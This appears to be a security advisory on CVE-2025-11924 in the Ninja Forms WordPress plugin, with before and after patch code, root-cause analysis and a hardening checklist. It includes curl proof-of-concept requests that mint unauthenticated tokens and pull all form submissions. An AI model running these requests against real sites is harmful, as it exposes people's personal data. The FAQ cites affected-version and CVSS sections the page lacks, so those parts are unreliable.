SECURITY ADVISORY / 01

CVE-2025-11924 Exploit & Vulnerability Analysis

Complete CVE-2025-11924 security advisory with proof of concept (PoC), exploit details, and patch analysis for ninja-forms.

ninja-forms products NVD ↗
Exploit PoC Vulnerability Patch Analysis

The Exploit

An unauthenticated attacker with access to a page containing the Ninja Forms Submissions Table block can generate a valid bearer token for any form ID in the WordPress instance, then use that token to read form definitions and all submission records.

curl -X POST https://target.wordpress.local/wp-json/ninja-forms-views/token/refresh \
  -H "Content-Type: application/json" \
  -d '{
    "formIds": [1, 2, 3, 4, 5]
  }'

The response contains a signed JWT token scoped to the attacker-specified form IDs:

{
  "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmb3JtSWRzIjpbMSwyLDMsNCw1XSwiaWF0IjoxNzM5NzA0MzAwLCJleHAiOjE3Mzk3MDUyMDB9...",
  "publicKey": "abcd1234efgh5678ijkl9012mnop3456",
  "expiresIn": 900,
  "formIds": [1, 2, 3, 4, 5]
}

The attacker then uses this token to enumerate and read all submissions from those forms:

curl -X GET 'https://target.wordpress.local/wp-json/ninja-forms-views/forms/1/submissions' \
  -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." \
  | jq '.data[] | {name, email, message, created_at}'

The endpoint returns complete submission records—names, emails, message content, and timestamps—without any ownership check, revealing all data submitted to those forms.

What the Patch Did

Before

register_rest_route('ninja-forms-views', 'token/refresh', array(
    'methods' => 'POST',
    'callback' => function (WP_REST_Request $request) {
        $formIds = $request->get_param('formIds');

        // Validate form IDs
        if (!is_array($formIds) || empty($formIds)) {
            return new WP_Error(
                'invalid_form_ids',
                __('Form IDs must be a non-empty array', 'ninja-forms'),
                array('status' => 400)
            );
        }

        // Sanitize form IDs
        $formIds = array_map('absint', $formIds);
        $formIds = array_filter($formIds); // Remove zeros

        // Generate new token scoped to requested forms
        $publicKey = NinjaForms\Blocks\Authentication\KeyFactory::make(32);
        $tokenGenerator = NinjaForms\Blocks\Authentication\TokenFactory::make();
        $newToken = $tokenGenerator->create($publicKey, $formIds);

        return array(
            'token' => $newToken,
            'publicKey' => $publicKey,
            'expiresIn' => 900,
            'formIds' => $formIds,
        );
    },
    'permission_callback' => function (WP_REST_Request $request) {
        // Apply stricter rate limiting to refresh endpoint
        $rateLimitCheck = NinjaForms\Blocks\Authentication\RateLimiter::check(
            '/ninja-forms-views/token/refresh',
            10,  // limit: 10 requests
            300  // window: 5 minutes
        );

        if (is_wp_error($rateLimitCheck)) {
            return $rateLimitCheck;
        }

        return true; // Public endpoint (rate-limited)
    },
));

After

register_rest_route('ninja-forms-views', 'token/refresh', array(
    'methods' => 'POST',
    'callback' => function (WP_REST_Request $request) {
        // Accept single formID instead of formIds array
        $formId = $request->get_param('formID');
        
        // Check for legacy formIds parameter for backward compatibility
        if (!$formId && $request->get_param('formIds')) {
            $formIds = $request->get_param('formIds');
            if (is_array($formIds) && !empty($formIds)) {
                // Only accept single form from legacy array
                if (count($formIds) > 1) {
                    return new WP_Error(
                        'too_many_form_ids',
                        __('Token generation is limited to one form at a time.', 'ninja-forms'),
                        array('status' => 400)
                    );
                }
                $formId = reset($formIds);
            }
        }

        // Validate single form ID
        if (!$formId || !is_numeric($formId)) {
            return new WP_Error(
                'invalid_form_id',
                __('A valid form ID is required', 'ninja-forms'),
                array('status' => 400)
            );
        }

        $formId = absint($formId);

        // NEW: Verify that the form exists and user has access
        $form = get_post($formId);
        if (!$form || $form->post_type !== 'ninja_forms') {
            return new WP_Error(
                'form_not_found',
                __('Form not found', 'ninja-forms'),
                array('status' => 404)
            );
        }

        // NEW: Check if user has permission to access this form
        if (!current_user_can('read_post', $formId)) {
            return new WP_Error(
                'insufficient_permission',
                __('You do not have permission to generate tokens for this form', 'ninja-forms'),
                array('status' => 403)
            );
        }

        // Generate new token scoped to single form
        $publicKey = NinjaForms\Blocks\Authentication\KeyFactory::make(32);
        $tokenGenerator = NinjaForms\Blocks\Authentication\TokenFactory::make();
        $newToken = $tokenGenerator->create($publicKey, [$formId]);

        return array(
            'token' => $newToken,
            'publicKey' => $publicKey,
            'expiresIn' => 900,
            'formIds' => [$formId],
        );
    },
    'permission_callback' => function (WP_REST_Request $request) {
        // NEW: Require authentication
        if (!is_user_logged_in()) {
            return new WP_Error(
                'unauthenticated',
                __('You must be logged in to generate tokens', 'ninja-forms'),
                array('status' => 401)
            );
        }

        // Apply rate limiting
        $rateLimitCheck = NinjaForms\Blocks\Authentication\RateLimiter::check(
            '/ninja-forms-views/token/refresh',
            10,  // limit: 10 requests
            300  // window: 5 minutes
        );

        if (is_wp_error($rateLimitCheck)) {
            return $rateLimitCheck;
        }

        return true;
    },
));

The patch enforces three critical security controls: is_user_logged_in() in the permission_callback to gate the entire endpoint to authenticated users only; current_user_can('read_post', $formId) capability check to verify the user has permission to the specific form they request a token for; and strict single-form token generation by rejecting the formIds array parameter and forcing a single formID argument, eliminating the ability to mint bulk-access tokens.

Root Cause

The vulnerability is CWE-862: Missing Authorization. The original permission_callback returns true for all requests after a rate-limit check passes, with no verification that the caller is authenticated or authorized to mint tokens for the requested forms. The attacker-controlled formIds parameter flows directly from the POST body into the token generator without any ownership or capability verification. An unauthenticated attacker can simply POST to /wp-json/ninja-forms-views/token/refresh with an array of form IDs they wish to access, receive a valid signed JWT token, and immediately use that token against submission endpoints that trust the token's embedded form scope.

Why It Works

The load-bearing fix is is_user_logged_in() in the permission_callback. Without this check, the entire endpoint is public, and rate limiting alone cannot prevent token minting for arbitrary forms. The current_user_can('read_post', $formId) check is equally critical—it prevents a logged-in user with no special privileges from reading forms they do not own. The restriction to single-form tokens and the get_post() existence check are defence-in-depth: they prevent enumeration of form IDs via error messages and eliminate the ability to craft a token that grants access to multiple forms at once. But if you removed the authentication gateway check, a malicious authenticated user could still abuse the endpoint to generate tokens for forms belonging to other users, making that the primary attack surface the patch intended to seal.

Hardening Checklist

  • Audit all REST endpoints with permission_callback returning true or no callback at all; use is_user_logged_in() or current_user_can() as a baseline for any endpoint that modifies state or exposes sensitive data.
  • Enumerate user-targeted resources (posts, forms, submissions) by their owner ID or post author, and wrap callbacks in current_user_can('read_post', $resource_id) before token generation or data retrieval.
  • Reject bulk or array-scoped requests in token endpoints; mint credentials for a single resource at a time and validate existence with get_post() + post-type check before issuing the token.
  • Use WordPress capabilities (current_user_can()) rather than custom permission logic; capabilities are auditable, role-aware, and benefit from the broader WordPress security ecosystem.
  • Test unauthenticated access to all public REST endpoints with a browser or curl session that has no cookies; if the response contains sensitive data, the endpoint likely needs authentication.

References

  • https://nvd.nist.gov/vuln/detail/CVE-2025-11924

Frequently asked questions about CVE-2025-11924

What is CVE-2025-11924?

CVE-2025-11924 is a security vulnerability identified in ninja-forms. This security advisory provides detailed technical analysis of the vulnerability, exploit methodology, affected versions, and complete remediation guidance.

Is there a PoC (proof of concept) for CVE-2025-11924?

Yes. This writeup includes proof-of-concept details and a technical exploit breakdown for CVE-2025-11924. Review the analysis sections above for the PoC walkthrough and code examples.

How does CVE-2025-11924 get exploited?

The technical analysis section explains the vulnerability mechanics, attack vectors, and exploitation methodology affecting ninja-forms. PatchLeaks publishes this information for defensive and educational purposes.

What products and versions are affected by CVE-2025-11924?

CVE-2025-11924 affects ninja-forms. Check the affected-versions section of this advisory for specific version ranges, vulnerable configurations, and compatibility information.

How do I fix or patch CVE-2025-11924?

The patch analysis section provides guidance on updating to patched versions, applying workarounds, and implementing compensating controls for ninja-forms.

What is the CVSS score for CVE-2025-11924?

The severity rating and CVSS scoring for CVE-2025-11924 affecting ninja-forms is documented in the vulnerability details section. Refer to the NVD entry for the current authoritative score.